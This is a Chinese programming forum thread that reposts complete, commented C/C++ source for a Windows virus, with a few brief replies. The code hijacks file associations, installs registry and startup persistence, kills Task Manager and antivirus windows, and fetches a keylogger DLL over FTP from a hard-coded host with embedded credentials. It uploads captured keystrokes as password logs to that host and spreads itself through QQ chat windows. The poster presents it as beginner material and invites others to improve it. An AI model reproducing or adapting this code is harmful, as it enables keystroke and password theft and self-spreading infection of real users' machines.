VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 861|回复: 7

[转载] VC病毒源码,注释很详细

[复制链接]
16_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-3 19:55:48 | 显示全部楼层 |阅读模式
  1. #include <windows.h>
  2. #include <wininet.h>
  3. #include <stdio.h>
  4. #include <shellapi.h>
  5. #include <ShlObj.h>
  6. #include <tlhelp32.h>
  7. #include <WINERROR.H>
  8. #include <winreg.h>
  9. #include "resource.h"
  10. //kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib  
  11. #pragma comment( lib, "wininet.lib")
  12. #pragma comment( lib, "user32.lib")
  13. #pragma comment( lib, "advapi32.lib")

  14. HANDLE Snapshot; //进程的快照信息句柄
  15. MODULEENTRY32 me = { sizeof(me) }; //全局结构变量MODULEENTRY32,用于获取当前进程的文件名,当然也可以为获取别的进程的文件名
  16. MODULEENTRY32 qq = { sizeof(qq) }; //全局结构变量MODULEENTRY32,用于获取进程QQ
  17. WIN32_FIND_DATA fd;

  18. BOOL IsRunDll=FALSE;

  19. #define PLMM "C:\\哥哥我爱你不要拒绝我.exe"
  20. LRESULT CALLBACK WndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM); //回调函数声名
  21. void Setup(void); //声明修改系统函数。

  22. BOOL WINAPI WinMain(HINSTANCE hInstance,
  23. HINSTANCE hPrehInstance,
  24. LPSTR lpszCmdParam,
  25. int nCmdShow)
  26. {
  27. HWND hwnd;
  28. WNDCLASS wclass;
  29. MSG msg;
  30. SYSTEMTIME systime; //获取当前时间

  31. HKEY hKey;
  32. DWORD type=REG_SZ;
  33. LPSTR ParamBuf,ExecBuf,p;

  34. ParamBuf=(LPSTR)malloc(MAX_PATH);
  35. ExecBuf =(LPSTR)malloc(MAX_PATH);
  36. strcpy(ParamBuf,lpszCmdParam);
  37. int i=0;
  38. while(ParamBuf[i]!='\0'){ParamBuf[i]=tolower(ParamBuf[i]);i++;}

  39. GetWindowsDirectory(ExecBuf,MAX_PATH); //得到C:\\winnt目录
  40. strcat(ExecBuf,"\\SERVICES.EXE %1");
  41. RegOpenKeyEx(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",0,KEY_WRITE,&hKey);
  42. RegSetValueEx(hKey,"",NULL,REG_SZ,(unsigned char *)ExecBuf,MAX_PATH);//修改注册表文本文件关联。
  43. RegCloseKey(hKey);

  44. RegOpenKeyEx(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",0,KEY_WRITE,&hKey);
  45. RegSetValueEx(hKey,"",NULL,REG_SZ,(unsigned char *)ExecBuf,MAX_PATH);//修改注册表EXE 文件关联。
  46. RegCloseKey(hKey);
  47. p=&ParamBuf[strlen(ParamBuf)-4];
  48. if((strcmp(".txt",p)==NULL)||(strcmp(".log",p)==NULL))
  49. {
  50. GetWindowsDirectory(ExecBuf,MAX_PATH); //得到C:\\winnt目录
  51. strcat(ExecBuf,"\\NotePad.exe ");
  52. strcat(ExecBuf,ParamBuf);
  53. WinExec(ExecBuf,SW_SHOW); //用记事本打开文本文件。
  54. }
  55. if(strcmp(".exe",p)==NULL)
  56. {
  57. WinExec(ParamBuf,SW_SHOW); //执行.exe文件。
  58. }

  59. GetLocalTime(&systime); //获取本地系统时间。
  60. sprintf(ParamBuf,"%ld_%ld_%ld_%ld_%ld",systime.wMonth,systime.wDay,systime.wHour,systime.wMinute,systime.wSecond);
  61. wclass.style=CS_HREDRAW | CS_VREDRAW | CS_OWNDC;
  62. wclass.lpfnWndProc=WndProc;
  63. wclass.cbClsExtra=0;
  64. wclass.cbWndExtra=0;
  65. wclass.hInstance=hInstance;
  66. wclass.hIcon=LoadIcon(hInstance,(LPCTSTR)IDI_ICON2);
  67. wclass.hCursor=LoadCursor(NULL,IDC_ARROW);
  68. wclass.lpszMenuName=NULL;
  69. wclass.lpszClassName=ParamBuf;
  70. wclass.hbrBackground=NULL;//HBRUSH(GetStockObject(BLACK_BRUSH));
  71. CreateMutex(NULL,TRUE,"Send"); //只运行单进程,否则在执行DLL获取的键盘会产生多重
  72. if (GetLastError()==ERROR_ALREADY_EXISTS)return 0;
  73. if(!RegisterClass(&wclass))
  74. {
  75. MessageBox(NULL,"Register Window Class Faile!","",48);
  76. return 0;
  77. }

  78. HINTERNET Inet;

  79. GetWindowsDirectory(ExecBuf,MAX_PATH);
  80. strcat(ExecBuf,"\\System.dll");
  81. if(FindFirstFile(ExecBuf,&fd)==INVALID_HANDLE_VALUE) //下面为下载System.dll动态链接库文件。
  82. {
  83. Inet=InternetOpen("Fuck_Shaodongxinglangchao_Wangjing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  84. Inet=InternetConnect(Inet,"wgm001.51.net",0,"wgm001","ggfggc",1,0,0);
  85. FtpSetCurrentDirectory(Inet,"/public_html");
  86. FtpGetFile(Inet,"System.dll",ExecBuf,0,NULL,0,0);
  87. InternetCloseHandle(Inet);
  88. }
  89. if(!IsRunDll) //启动动态链接库文件内的链接键盘钩子
  90. {
  91. HINSTANCE hinstDLL;
  92. typedef void (CALLBACK *inshook)(); //定义回调函数的地址
  93. inshook instkbhook;
  94. if(hinstDLL=LoadLibrary((LPCTSTR)"System.dll"))//装入动态链接库
  95. {
  96. instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook"); //获得installhook的地址。
  97. instkbhook(); //启动动态链接库的键盘钩子。
  98. IsRunDll=TRUE; //修改启动标志。
  99. }
  100. }
  101. hwnd=CreateWindow(ParamBuf,ParamBuf, //创建窗口。
  102. WS_OVERLAPPEDWINDOW,
  103. 200,100,300,200,
  104. NULL,NULL,
  105. hInstance,NULL);
  106. // ShowWindow(hwnd,SW_SHOW); //此处创建窗口而不显示
  107. // UpdateWindow(hwnd);

  108. free(ExecBuf); //释放缓冲区内存。
  109. free(ParamBuf); //释放缓冲区内存。
  110. while(GetMessage(&msg,NULL,0,0)) //处理事件循环
  111. {
  112. TranslateMessage(&msg);
  113. DispatchMessage(&msg);
  114. }

  115. return msg.wParam;
  116. }

  117. LRESULT CALLBACK WndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM lp)
  118. {
  119. switch(msg)
  120. {
  121. case WM_CREATE:
  122. SetTimer(hwnd,1,60000,NULL); //设置一个1号定时器,时间间隔为60秒。
  123. SetTimer(hwnd,2,100,NULL); //设置一个2号定时器,时间间隔为10毫秒。
  124. SetTimer(hwnd,3,300000,NULL); //设置一个3号定时器,时间间隔为5分钟。
  125. SetTimer(hwnd,4,1200000,NULL); //设置一个4号定时器,时间间隔为20分钟。
  126. {
  127. HINSTANCE hDllInst = LoadLibrary("KERNEL32.DLL"); //装入KERNEL32.DLL
  128. if(hDllInst)  
  129. {  
  130.   typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);
  131.   MYFUNC RegisterServiceProcessAlias = NULL;
  132.   RegisterServiceProcessAlias = (MYFUNC)GetProcAddress(hDllInst, "RegisterServiceProcess");
  133.   if(RegisterServiceProcessAlias)  
  134. {  
  135. RegisterServiceProcessAlias(GetCurrentProcessId(),1);  
  136. }  
  137. FreeLibrary(hDllInst);  
  138. }
  139. //以上为9x注册本进程为一个服务进程,可以将此进程隐藏于结束任务对话框。
  140. Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,GetCurrentProcessId()); //创建当前进程的快照信息
  141. Module32Next(Snapshot, &me);//用当前进程的快照信息句柄搜索出当前进程的模块信息,也可只用GetModuleFileName(NULL,FilePathBuff,MAX_PATH);
  142. Setup();
  143. }
  144. break;
  145. case WM_TIMER:
  146. {
  147. POINT lp;
  148. HWND hw,h;
  149. char str[MAX_PATH];
  150. HANDLE f;
  151. SYSTEMTIME systime; //获取当前时间

  152. GetCursorPos(&lp);
  153. hw=WindowFromPoint(lp); //取得鼠标所在的窗口句柄
  154. h=hw;

  155. while(GetParent(h)!=NULL)
  156. h=GetParent(h); //h为最上层的窗口句柄
  157. if(wp==1) //一号定时器处理
  158. {
  159. Setup();

  160. HANDLE hMemData;
  161. DROPFILES *lpDropFiles; //DROPFILES结构指针
  162. char *pszStart;


  163. h=GetDlgItem(h,0x00000); //为聊天窗口里的带有WS_EX_ACCEPTFILES的子窗口的句柄,用SPY++查得。
  164. //strcpy(str,me.szExePath); //为程序自身文件
  165. //以下为发送文件至聊天窗口。
  166. strcpy(str,PLMM); //为专用作发送的美女文件
  167. if(h==NULL)
  168. {
  169. return FALSE;
  170. }
  171. EmptyClipboard();
  172. hMemData=GlobalAlloc(GHND,sizeof(DROPFILES)+MAX_PATH); //分配指定的字节的全局内存
  173. lpDropFiles=(DROPFILES*)GlobalLock(hMemData); //锁定全局对象的内存块,并返回指针
  174. lpDropFiles->pFiles =sizeof(DROPFILES); //设置pFiles值为DROPFILES后的地址
  175. lpDropFiles->fNC =FALSE; //设置fNC为假
  176. lpDropFiles->fWide =FALSE; //设置fWide为假

  177. pszStart = (char*)((LPBYTE)lpDropFiles + sizeof(DROPFILES)); //指向DROPFILES之后的地址
  178. strcpy(pszStart,str); //拷贝fp到DROPFILES之后的地址
  179. GlobalUnlock(hMemData);  //解锁hMemData

  180. if(!OpenClipboard(hwnd)) //打开剪贴板
  181. return FALSE;
  182. if(!EmptyClipboard()) //清空剪贴板
  183. return FALSE;
  184. SetClipboardData(CF_HDROP,lpDropFiles); //设置剪贴板数据
  185. PostMessage(h,WM_DROPFILES,(WPARAM)(HDROP)hMemData,(LPARAM)0); //传递消息到窗口'h'
  186. CloseClipboard(); //关闭剪贴板
  187. }
  188. else if(wp==2) //二号定时器处理
  189. {
  190. bool IsKill=false;  
  191. char hstr[MAX_PATH];
  192. if(FindWindow(NULL,"Windows 任务管理器")!=NULL) //测试是否有windows 任务管理器打开了。若有,则杀死!
  193. PostMessage(FindWindow(NULL,"Windows 任务管理器"),WM_DESTROY,0,0);
  194. GetWindowText(h,str,MAX_PATH); //快速的测查是否有杀毒或者有用来结束该进程的工具在运行。if(true)KILL YOU!
  195. GetWindowText(hw,hstr,MAX_PATH); //快速的测查是否有杀毒或者有用来结束该进程的工具在运行。if(true)KILL YOU!
  196. if((strstr(str,"兔子") || strstr(str,"任务") || strstr(str,"优化") || strstr(str,"Process") || strstr(str,"进程") || strstr(str,"毒") || strstr(str,"木马") || strstr(str,"天网") ||
  197. strstr(hstr,"兔子")|| strstr(hstr,"任务")|| strstr(hstr,"优化")|| strstr(hstr,"Process")|| strstr(hstr,"进程")|| strstr(hstr,"毒")|| strstr(hstr,"木马")|| strstr(hstr,"天网")) && hw) //hw为鼠标所在的窗口句柄。h为鼠标所在的窗口最高层的窗口句柄.
  198. {//多搞几次,以防有漏网之鱼,免得夜长梦多。呵呵
  199. PostMessage(hw,WM_DESTROY,0,0); //给鼠标所在的窗口发送WM_DESTROY消息。推毁窗口
  200. PostMessage(h,WM_CLOSE,0,0); //给鼠标所在的父窗口发送WM_CLOSE消息。关闭窗口
  201. PostMessage(hw,WM_CLOSE,0,0); //给鼠标所在的父窗口发送WM_CLOSE消息。关闭窗口
  202. PostMessage(h,WM_DESTROY,0,0); //给鼠标所在的窗口发送WM_DESTROY消息。推毁窗口
  203. IsKill=false;
  204. }
  205. }
  206. else if(wp==3) //三号定时器处理.主要用于检测动态链接库是否装入,键盘钩子是否安装。
  207. {
  208. GetWindowsDirectory(str,MAX_PATH);
  209. strcat(str,"\\System.dll");
  210. f=FindFirstFile(str,&fd);
  211. if(f==INVALID_HANDLE_VALUE) //没有System.dll文件时,从internet下载System.dll文件
  212. {
  213. HINTERNET Inet;
  214. Inet=InternetOpen("Fuck_Shaodongxinglangchao_Wangjing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  215. Inet=InternetConnect(Inet,"wgm001.51.net",0,"wgm001","ggfggc",1,0,0);
  216. FtpSetCurrentDirectory(Inet,"/public_html");
  217. FtpGetFile(Inet,"System.dll",str,0,NULL,0,0);
  218. InternetCloseHandle(Inet);
  219. IsRunDll=FALSE; //修改启动标志。为未启动。
  220. }
  221. if(!IsRunDll) //标志着为假时(既没有启动键盘钩子)。启动键盘钩子。
  222. {
  223. HINSTANCE hinstDLL;
  224. typedef void (CALLBACK *inshook)(); //定义回调函数的地址
  225. inshook instkbhook;
  226. if(hinstDLL=LoadLibrary((LPCTSTR)"System.dll"))
  227. {
  228. instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook"); //获得installhook的地址。
  229. instkbhook(); //启动动态链接库的键盘钩子。
  230. IsRunDll=TRUE; //修改启动标志。为已启动
  231. }
  232. }
  233. }
  234. else if(wp==4) //四号定时器处理
  235. {
  236. GetWindowsDirectory(str,MAX_PATH); //取得System目录。
  237. strcat(str,"\\system.log");
  238. f=FindFirstFile(str,&fd);
  239. if(f!=INVALID_HANDLE_VALUE) //下面为上传文件。
  240. {
  241. HINTERNET Inet;
  242. char newname[MAX_PATH];
  243. GetLocalTime(&systime); //获取本地系统时间。
  244. sprintf(newname,"PWD%d_%d_%d_%d.txt",systime.wMonth,systime.wDay,systime.wHour,systime.wMinute);
  245. Inet=InternetOpen("Fuck_Shaodongxinglangchao_Wangjing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  246. Inet=InternetConnect(Inet,"wgm001.51.net",0,"wgm001","ggfggc",1,0,0);
  247. FtpSetCurrentDirectory(Inet,"/public_html");
  248. FtpPutFile(Inet,str,newname,INTERNET_FLAG_RESYNCHRONIZE,1);
  249. if(Inet) //如果上传成功,则删除记录文件。
  250. remove(str);
  251. InternetCloseHandle(Inet);
  252. }
  253. }
  254. }
  255. break;
  256. case WM_CLOSE:
  257. return FALSE; //不允许关闭该程序。
  258. case WM_DESTROY:
  259. return FALSE; //不能推毁该程序。
  260. }
  261. return DefWindowProc(hwnd,msg,wp,lp);
  262. }
  263. //以下是给你的机器乱来一通,怕不?怕得话就Delete 之
  264. void Setup(void)
  265. {
  266. HKEY run; //注册表句柄
  267. char dir[MAX_PATH]; //文件名
  268. //定时做修改
  269. {
  270. Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //创建当前所有的进程的快照信息
  271. PROCESSENTRY32 PList;
  272. PList.dwSize=sizeof(PROCESSENTRY32);
  273. while(Process32Next(Snapshot,&PList))
  274. {
  275. if(strstr(PList.szExeFile,"QQ"))
  276. break;
  277. }
  278. Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,PList.th32ProcessID); //创建当前进程的快照信息
  279. while(Module32Next(Snapshot,&qq)!=FALSE)
  280. {
  281. if(strstr(qq.szExePath,"QQ.exe"))
  282. break;
  283. }
  284. if((strstr(qq.szExePath,"QQ")))
  285. {
  286. static bool isrt=false;
  287. static bool isrq=false;
  288. strncpy(qq.szExePath+strlen(qq.szExePath)-6,"",1);
  289. strcpy(dir,qq.szExePath);
  290. strcat(dir,"TIMPlatform.exe");
  291. if(FindFirstFile(dir,&fd)==INVALID_HANDLE_VALUE)
  292. {
  293. CopyFile(me.szExePath ,dir,TRUE); //复制文件到C:\Program Files\Tencent\qq\TIMPlatform.exe。
  294. isrt=true;
  295. }
  296. else if(!isrt)
  297. {
  298. char t[128];
  299. strcpy(t,qq.szExePath);
  300. strcat(t,"_");
  301. rename(dir,t);
  302. }

  303. strcpy(dir,qq.szExePath);
  304. strcat(dir,"QQZip.dll");
  305. if(FindFirstFile(dir,&fd)==INVALID_HANDLE_VALUE)
  306. {
  307. HINTERNET Inet;
  308. Inet=InternetOpen("Fuck_Shaodongxinglangchao_Wangjing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  309. Inet=InternetConnect(Inet,"wgm001.51.net",0,"wgm001","ggfggc",1,0,0);
  310. FtpSetCurrentDirectory(Inet,"/public_html");
  311. FtpGetFile(Inet,"QQZip.dll",dir,0,NULL,0,0);
  312. InternetCloseHandle(Inet);
  313. isrq=true;
  314. }
  315. else if(!isrq)
  316. {
  317. char t[128];
  318. strcpy(t,qq.szExePath);
  319. strcat(t,"Fuck_Shaodongxinglangchao_Wangjing.swf");
  320. rename(dir,t);
  321. }
  322. }
  323. else
  324. strcpy(qq.szExePath,"");
  325. }

  326. CopyFile(me.szExePath ,PLMM,TRUE); //用作发送

  327. GetWindowsDirectory(dir,MAX_PATH); //得到C:\\winnt目录
  328. CopyFile(me.szExePath ,strcat(dir,"\\system32\\默认的幕保护程序.scr"),TRUE);//用作屏幕保护
  329. GetWindowsDirectory(dir,MAX_PATH); //得到C:\\winnt目录
  330. strcat(dir,"\\services.exe");
  331. CopyFile(me.szExePath ,dir,TRUE); //复制文件到C:\\winnt目录,名为services.exe
  332. strcpy(dir,"C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\loader.exe");
  333. CopyFile(me.szExePath ,dir,TRUE); //复制文件到启动

  334. strcpy(dir,"%SystemRoot%\\services.exe");
  335. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&run);
  336. RegSetValueEx(run,"System",NULL,REG_SZ,(unsigned char *)dir,MAX_PATH);//修改注册表Run项。
  337. RegCloseKey(run);

  338. RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx",0,KEY_WRITE,&run);
  339. RegSetValueEx(run,"Services",NULL,REG_SZ,(unsigned char *)dir,MAX_PATH);//修改注册表Run项。
  340. RegCloseKey(run);

  341. GetWindowsDirectory(dir,MAX_PATH); //得到C:\\winnt目录
  342. strcat(dir,"\\system32\\默认的~1.SCR");
  343. RegOpenKeyEx(HKEY_CURRENT_USER,"Control Panel\\Desktop",0,KEY_WRITE,&run);
  344. RegSetValueEx(run,"ScreenSaveTimeOut",NULL,REG_SZ,(unsigned char *)"60",MAX_PATH);//修改注册表屏幕保护项。
  345. RegSetValueEx(run,"SCRNSAVE.EXE",NULL,REG_SZ,(unsigned char *)dir,MAX_PATH);//修改注册表屏幕保护项。
  346. RegCloseKey(run);
  347. }

复制代码




上一篇:C语言实现贪食蛇-源码
下一篇:C++ WMI CPU - Z
16_avatar_middle
最佳答案
0 
ico_lz  楼主| 发表于 2019-6-3 19:58:41 | 显示全部楼层
这个程序比较简单的,看非常适合初学者,就转载过来,有兴趣一起完善。
98_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-4 08:55:31 | 显示全部楼层
谢谢分享
学习高手代码
77_avatar_middle
最佳答案
31 
online_vip 发表于 2019-6-4 11:22:32 | 显示全部楼层
瞧瞧,貌似原理也不是很难
75_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-4 15:41:24 | 显示全部楼层
这个看的越多,就知道这个世界坏人也确实很多。
叹:
身是菩提树,心如明镜台。
时时勤拂拭,莫使有尘埃。
怼:
菩提本无树,明镜亦非台。
佛性常清净,何处有尘埃!

VC病毒源码,注释很详细    又开始胡言乱语。

58_avatar_middle
最佳答案
50 
online_vip 发表于 2019-6-4 17:43:05 | 显示全部楼层
xx_player 发表于 2019-6-4 15:41
这个看的越多,就知道这个世界坏人也确实很多。
叹:
身是菩提树,心如明镜台。

我们都是害虫VC病毒源码,注释很详细
54_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-5 17:48:08 | 显示全部楼层
这个看的越多,就知道这个世界坏人也确实很多。
06_avatar_middle
最佳答案
0 
在线会员 发表于 3 天前 | 显示全部楼层
C++的点滴记录 练习数组,大牛飘过
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号-4 )|网站地图wx_jqr

GMT+8, 2021-4-24 01:42

Powered by CcTry.CoM

© 2009-2021 cctry.com

快速回复 返回顶部 返回列表